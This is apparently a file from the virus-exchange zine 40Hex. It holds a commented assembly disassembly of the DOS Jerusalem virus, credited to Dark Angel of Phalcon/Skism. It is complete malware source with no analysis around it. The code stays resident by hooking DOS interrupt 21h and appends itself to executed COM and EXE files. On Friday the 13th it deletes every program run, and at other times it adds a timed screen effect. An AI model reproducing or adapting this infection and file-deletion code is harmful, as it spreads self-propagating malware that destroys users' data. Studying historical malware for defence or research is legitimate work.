Copy Link
Add to Bookmark
Report
40Hex Issue 13 File 008
40Hex Number 13 Volume 4 Issue 1 File 008
.model tiny
.code
org 0
; Jerusalem (Standard)
; Disassembly by Dark Angel of Phalcon/Skism
viruslength = (endjerusalem - jerusalem)
jerusalem:
jmp enter_jerusalem
db 'sU'
marker db 'MsDos'
COMdest dw 0, 0
activate_flag db 0
zero dw 0
filesize dw 3
oldint8 dw 0, 0
oldint21 dw 0, 0
oldint24 dw 0, 0
int8counter dw 0
tempheader dw 0
EXEdest dw 0,0
_initialSP dw 0
_initialSS dw 0
_headersize dw 0
_filelengthlo dw 0
_filelengthhi dw 0
savePSP1 dw 0
respara dw 80h
parmblock:
dw 0 ; use current environment
dw 80h
savePSP2 dw 0 ; pointer to command line
dw 5Ch
savePSP3 dw 0 ; pointer to 1st FCB
dw 6Ch
savePSP4 dw 0 ; pointer to 2nd FCB
saveSP dw 0
saveSS dw 0
initialCSIP dw 0, 0
oldintFF dw 0
db 0
COM_EXE_flag db 0
header dw 0Eh dup (0)
readbuffer db 5 dup (0)
filehandle dw 0
fileattr dw 0
filedate dw 0
filetime dw 0
pagesize dw 200h
parasize dw 10h ; paragraph->byte conversion
filelength dw 0, 0
filenameptr dw 0, 0
command_com db 'COMMAND.COM'
alloc_flag dw 0
db 0, 0, 0, 0
enter_jerusalem:
cld
mov ah,0E0h ; installation check
int 21h
cmp ah,0E0h
jae not_resident
cmp ah,3
jb not_resident
mov ah,0DDh ; restore EXE file
mov di,100h
mov si,offset endjerusalem
add si,di
mov cx,cs:[di+filesize]
int 21h
not_resident:
mov ax,cs
add ax,10h
mov ss,ax
mov sp,700h
push ax
mov ax,offset relocate_entry
push ax
retf
relocate_entry:
cld
push es
mov cs:savePSP1,es
mov cs:savePSP2,es
mov cs:savePSP3,es
mov cs:savePSP4,es
mov ax,es
add ax,10h
add cs:initialCSIP+2,ax
add cs:saveSS,ax
mov ah,0E0h ; installation check
int 21h
cmp ah,0E0h
jae install_virus
cmp ah,3
pop es
mov ss,cs:saveSS
mov sp,cs:saveSP
jmp dword ptr cs:initialCSIP
install_virus:
xor ax,ax
mov es,ax
mov ax,es:0FFh*4
mov cs:oldintFF,ax
mov al,es:0FFh*4+2
mov byte ptr cs:oldintFF+2,al
mov word ptr es:0FFh*4,0A5F3h ; encode rep movsw
mov byte ptr es:0FFh*4+2,0CBh ; encode retf
pop ax
add ax,10h
mov es,ax
push cs
pop ds
mov cx,viruslength
shr cx,1
xor si,si
mov di,si
push es
mov ax,offset return_here
push ax
db 0EAh ; jmp far ptr
dw 03FCh, 0
return_here:
mov ax,cs
mov ss,ax
mov sp,700h
xor ax,ax
mov ds,ax
mov ax,cs:oldintFF
mov ds:0FFh*4,ax
mov al,byte ptr cs:oldintFF+2
mov ds:0FFh*4+2,al
mov bx,sp
mov cl,4
shr bx,cl
add bx,10h
mov cs:respara,bx ; allocate enough memory
mov ah,4Ah ; for the virus
mov es,cs:savePSP1
int 21h
mov ax,3521h ; get int 21 vector
int 21h
mov cs:oldint21,bx ; save it
mov word ptr cs:oldint21+2,es
push cs ; set new int 21 handler
pop ds
mov dx,offset int21
mov ax,2521h
int 21h
mov es,savePSP1 ; get PSP
mov es,es:2Ch ; get environment segment
xor di,di
mov cx,7FFFh
xor al,al
scan_environment:
repne scasb
cmp es:[di],al
loopnz scan_environment
mov dx,di
add dx,3
mov ax,4B00h ; execute original program
push es
pop ds
push cs
pop es
mov bx,offset parmblock
push ds
push es
push ax
push bx
push cx
push dx
mov ah,2Ah ; get date
int 21h
mov cs:activate_flag,0 ; default to no activate
cmp cx,1987d ; don't activate in 1987
je no_activate
cmp al,5 ; friday?
jne set_int8
cmp dl,13d ; the thirteenth?
jne set_int8
inc cs:activate_flag ; mark activate
jmp short no_activate
db 90h
set_int8: ; do annoying box effect
mov ax,3508h ; get old int 8 handler
int 21h
mov cs:oldint8,bx
mov word ptr cs:oldint8+2,es
push cs
pop ds
mov int8counter,60*30*18 ; wait 30 minutes
mov ax,2508h ; set new int 8 handler
mov dx,offset int8
int 21h
no_activate:
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
pushf
call dword ptr cs:oldint21 ; execute program
push ds
pop es
mov ah,49h ; release memory block
int 21h
mov ah,4Dh ; get errorlevel to ax
int 21h
mov ah,31h ; go TSR
mov dx,600h
mov cl,4
shr dx,cl
add dx,10h
int 21h
int24:
xor al,al
iret
int8:
cmp cs:int8counter,2
jne no_box
push ax
push bx
push cx
push dx
push bp
mov ax,602h ; scroll up 2 lines
mov bh,87h ; (5,5) - (10,10)
mov cx,505h
mov dx,1010h
int 10h
pop bp
pop dx
pop cx
pop bx
pop ax
no_box:
dec cs:int8counter
jnz exitint8
mov cs:int8counter,1
push ax
push cx
push si
mov cx,4001h ; delay loop
rep lodsb
pop si
pop cx
pop ax
exitint8:
jmp dword ptr cs:oldint8 ; call original handler
int21:
pushf
cmp ah,0E0h ; installation check?
jne not_install
mov ax,300h ; return installation marker
popf
iret
not_install:
cmp ah,0DDh
je restore_COM
cmp ah,0DEh
je restore_EXE
cmp ax,4B00h ; execute?
jne exitint21
jmp execute
exitint21:
popf
jmp dword ptr cs:oldint21
restore_COM:
pop ax
pop ax
mov ax,100h
mov cs:COMdest,ax
pop ax ; get program CS
mov word ptr cs:COMdest+2,ax
rep movsb ; restore bytes
popf
mov ax,cs:zero ; clear AX
jmp dword ptr cs:COMdest ; return to original COM file
restore_EXE:
add sp,6
popf
mov ax,cs
mov ss,ax
mov sp,offset endjerusalem
push es
push es
xor di,di
push cs
pop es
mov cx,10h
mov si,bx
mov di,offset tempheader
rep movsb
mov ax,ds
mov es,ax
mul cs:parasize ; convert to bytes
add ax,cs:_headersize
adc dx,0
div cs:parasize ; convert to paragraphs
mov ds,ax
mov si,dx
mov di,dx
mov bp,es
mov bx,cs:_filelengthhi
or bx,bx
jz no_move_code
move_code:
mov cx,8000h
rep movsw
add ax,1000h
add bp,1000h
mov ds,ax
mov es,bp
dec bx
jnz move_code
no_move_code:
mov cx,cs:_filelengthlo
rep movsb
pop ax
push ax
add ax,10h
add cs:_initialSS,ax
add word ptr cs:EXEdest+2,ax
mov ax,cs:tempheader
pop ds
pop es
mov ss,cs:_initialSS
mov sp,cs:_initialSP
jmp dword ptr cs:EXEdest
delete_file:
xor cx,cx ; clear file attributes
mov ax,4301h
int 21h
mov ah,41h ; delete file
int 21h
mov ax,4B00h ; execute it
popf
jmp dword ptr cs:oldint21
execute:
cmp cs:activate_flag,1
je delete_file
mov cs:filehandle,0FFFFh
mov cs:alloc_flag,0
mov cs:filenameptr,dx
mov word ptr cs:filenameptr+2,ds
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld
mov di,dx
xor dl,dl
cmp byte ptr [di+1],':' ; drive specified?
jne execute_nodrive
mov dl,[di] ; get drive
and dl,1Fh ; convert to number
execute_nodrive:
mov ah,36h ; get drive info`s
int 21h
cmp ax,0FFFFh ; drive exist?
jne check_drivespace
go_exit_execute:
jmp exit_execute
check_drivespace:
mul bx ; ax = clus/sec, bx=free clus
mul cx ; cx = bytes/sector
or dx,dx ; check if enough free space
jnz enough_space
cmp ax,viruslength
jb go_exit_execute
enough_space:
mov dx,cs:filenameptr
push ds
pop es
xor al,al
mov cx,41h
repne scasb
mov si,cs:filenameptr
uppercase_loop:
mov al,[si]
or al,al
jz uppercase_loop_done
cmp al,'a'
jb not_lower
cmp al,'z'
ja not_lower
sub byte ptr [si],' ' ; convert to uppercase
not_lower:
inc si
jmp short uppercase_loop
uppercase_loop_done:
mov cx,0Bh ; check if command.com
sub si,cx
mov di,offset command_com
push cs
pop es
mov cx,0Bh
repe cmpsb
jnz not_command_com
jmp exit_execute
not_command_com:
mov ax,4300h ; get file attributes
int 21h
jc error1
mov cs:fileattr,cx
error1:
jc error2
xor al,al
mov cs:COM_EXE_flag,al ; ASSume COM file
push ds
pop es
mov di,dx
mov cx,41h
repne scasb
cmp byte ptr [di-2],'M'
je EXEidentified
cmp byte ptr [di-2],'m'
je EXEidentified
inc cs:COM_EXE_flag
EXEidentified:
mov ax,3D00h ; open file r/o
int 21h
error2:
jc error3
mov cs:filehandle,ax
mov bx,ax
mov ax,4202h ; go to end of file - 5 bytes
mov cx,0FFFFh
mov dx,0FFFBh
int 21h
jc error2
add ax,5 ; get file size
mov cs:filesize,ax
mov cx,5 ; read last 5 bytes
mov dx,offset readbuffer
mov ax,cs
mov ds,ax
mov es,ax
mov ah,3Fh
int 21h
mov di,dx
mov si,offset marker
repe cmpsb
jnz not_infected
mov ah,3Eh ; close file
int 21h
jmp exit_execute
not_infected:
mov ax,3524h ; get old int 24 handler
int 21h
mov oldint24,bx ; and save it
mov word ptr oldint24+2,es
mov dx,offset int24 ; set ours as new one
mov ax,2524h
int 21h
lds dx,dword ptr filenameptr; load file name
xor cx,cx ; clear file attributes
mov ax,4301h
int 21h
error3:
jc error4
mov bx,cs:filehandle
mov ah,3Eh ; close file
int 21h
mov cs:filehandle,0FFFFh
mov ax,3D02h ; open file read/write
int 21h
jc error4
mov cs:filehandle,ax ; save handle
mov ax,cs
mov ds,ax
mov es,ax
mov bx,filehandle
mov ax,5700h ; get file time/date
int 21h
mov filedate,dx ; save them
mov filetime,cx
mov ax,4200h ; go to start of file
xor cx,cx
mov dx,cx
int 21h
error4:
jc error5
cmp COM_EXE_flag,0
je infect_com
jmp short infect_exe
db 90h
infect_com:
mov bx,1000h ; allocate one segment
mov ah,48h
int 21h
jnc allocation_fine
mov ah,3Eh ; close file
mov bx,filehandle
int 21h
jmp exit_execute
allocation_fine:
inc alloc_flag
mov es,ax ; copy virus to new buffer
xor si,si
mov di,si
mov cx,viruslength
rep movsb
mov dx,di
mov cx,filesize
mov bx,filehandle
push es
pop ds
mov ah,3Fh ; read file to buffer
int 21h
error5:
jc error6
add di,cx
xor cx,cx ; go to start of file
mov dx,cx
mov ax,4200h
int 21h
mov si,offset marker ; zopy marker to end of file
mov cx,5
rep movs byte ptr es:[di],cs:[si]
mov cx,di ; write virus + carrier
xor dx,dx
mov ah,40h
int 21h
error6:
jc error7
jmp error12
infect_exe:
mov cx,1Ch ; read EXE header
mov dx,offset header
mov ah,3Fh
int 21h
error7:
jc error8
mov word ptr ds:header+12h,1984h ; infection marker
mov ax,ds:header+0eh; initial SS
mov ds:saveSS,ax
mov ax,ds:header+10h ; initial SP
mov ds:saveSP,ax
mov ax,ds:header+14h
mov ds:initialCSIP,ax
mov ax,ds:header+16h
mov ds:initialCSIP+2,ax
mov ax,ds:header+4 ; get file size
cmp word ptr ds:header+2,0 ; rounded?
je not_rounded
dec ax ; deround
not_rounded:
mul word ptr ds:pagesize
add ax,ds:header+2
adc dx,0 ; get total file size
add ax,0Fh
adc dx,0
and ax,0FFF0h ; round to nearest paragraph
mov ds:filelength,ax
mov ds:filelength+2,dx
add ax,viruslength ; add virus length
adc dx,0
error8:
jc error9
div word ptr ds:pagesize ; convert to page size
or dx,dx ; need to round
jz dont_round
inc ax
dont_round:
mov ds:header+4,ax ; put new values in header
mov ds:header+2,dx
mov ax,ds:filelength ; convert filesize
mov dx,ds:filelength+2
div word ptr ds:parasize ; to paragraphs
sub ax,ds:header+8 ; subtract header size
mov ds:header+16h,ax ; insert as initial CS
mov word ptr ds:header+14h,offset relocate_entry
mov ds:header+0eh,ax ; insert new stack segment
mov word ptr ds:header+10h,offset endjerusalem; & pointer
xor cx,cx ; rewind to start of file
mov dx,cx
mov ax,4200h
int 21h
error9:
jc error10
mov cx,1Ch ; write new header to file
mov dx,offset header
mov ah,40h
int 21h
error10:
jc error11
cmp ax,cx
jne error12
mov dx,ds:filelength ; go to end of file
mov cx,ds:filelength+2
mov ax,4200h
int 21h
error11:
jc error12
xor dx,dx ; concatenate virus
mov cx,viruslength
mov ah,40h
int 21h
error12:
cmp cs:alloc_flag,0 ; did we allocate memory?
je no_free ; no, don't free
mov ah,49h ; release memory
int 21h
no_free:
cmp cs:filehandle,0FFFFh ; clear variables
je exit_execute
mov bx,cs:filehandle ; restore file date/time
mov dx,cs:filedate
mov cx,cs:filetime
mov ax,5701h
int 21h
mov ah,3Eh ; close file
int 21h
lds dx,dword ptr cs:filenameptr
mov cx,cs:fileattr
mov ax,4301h ; restore attributes
int 21h
lds dx,dword ptr cs:oldint24; restore int 24 handler
mov ax,2524h
int 21h
exit_execute:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:oldint21
; slack space for stack here
org 710h
endjerusalem:
nop
int 20h
db 'MsDos'
end jerusalem